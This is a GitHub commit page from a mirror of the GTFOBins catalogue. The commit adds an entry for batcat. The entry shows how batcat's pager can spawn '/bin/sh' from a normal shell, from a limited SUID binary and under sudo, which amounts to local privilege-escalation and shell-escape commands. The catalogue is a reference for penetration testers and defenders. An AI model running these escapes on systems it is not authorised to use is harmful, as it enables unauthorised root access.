1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add batcat

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
oush4ck 2022-12-28 21:44:31 +01:00 committed by GitHub
parent 95bb7291a4
commit f4e71b63cb
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

16
_gtfobins/batcat.md Normal file

@ -0,0 +1,16 @@
---
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. `--paging always` can be omitted provided that the output doesn't fit the screen.
functions:
shell:
- code: |
batcat --paging always /etc/profile
!/bin/sh
suid-limited:
- code: |
./batcat --paging always /etc/profile
!/bin/sh
sudo:
- code: |
sudo batcat --paging always /etc/profile
!/bin/sh
---